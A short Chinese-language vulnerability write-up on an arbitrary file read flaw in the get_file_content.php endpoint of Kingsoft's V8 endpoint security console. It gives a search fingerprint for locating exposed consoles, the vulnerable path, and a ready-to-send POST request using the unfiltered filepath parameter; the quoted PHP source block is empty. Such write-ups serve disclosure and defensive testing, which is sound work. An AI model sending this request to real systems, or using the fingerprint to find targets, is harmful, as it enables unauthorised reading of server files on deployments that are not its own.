金山 V8 终端安全系统 get_file_content.php 任意文件读取漏洞¶

漏洞描述¶

金山 V8 终端安全系统 存在任意文件读取漏洞，攻击者可以通过漏洞下载服务器任意文件

漏洞影响¶

金山 V8 终端安全系统

网络测绘¶

title="在线安装-V8+终端安全系统Web控制台"

漏洞复现¶

登录页面

存在漏洞的文件/Console/receive_file/get_file_content.php

```php {2-5}

文件中没有任何的过滤 通过 filepaht 参数即可下载任意文件

<a-checkbox checked>由于不能出现 .. ，所以只能读取web目录下的文件</a-checkbox></br>

```plain
POST /receive_file/get_file_content.php

filepath=login.php

¶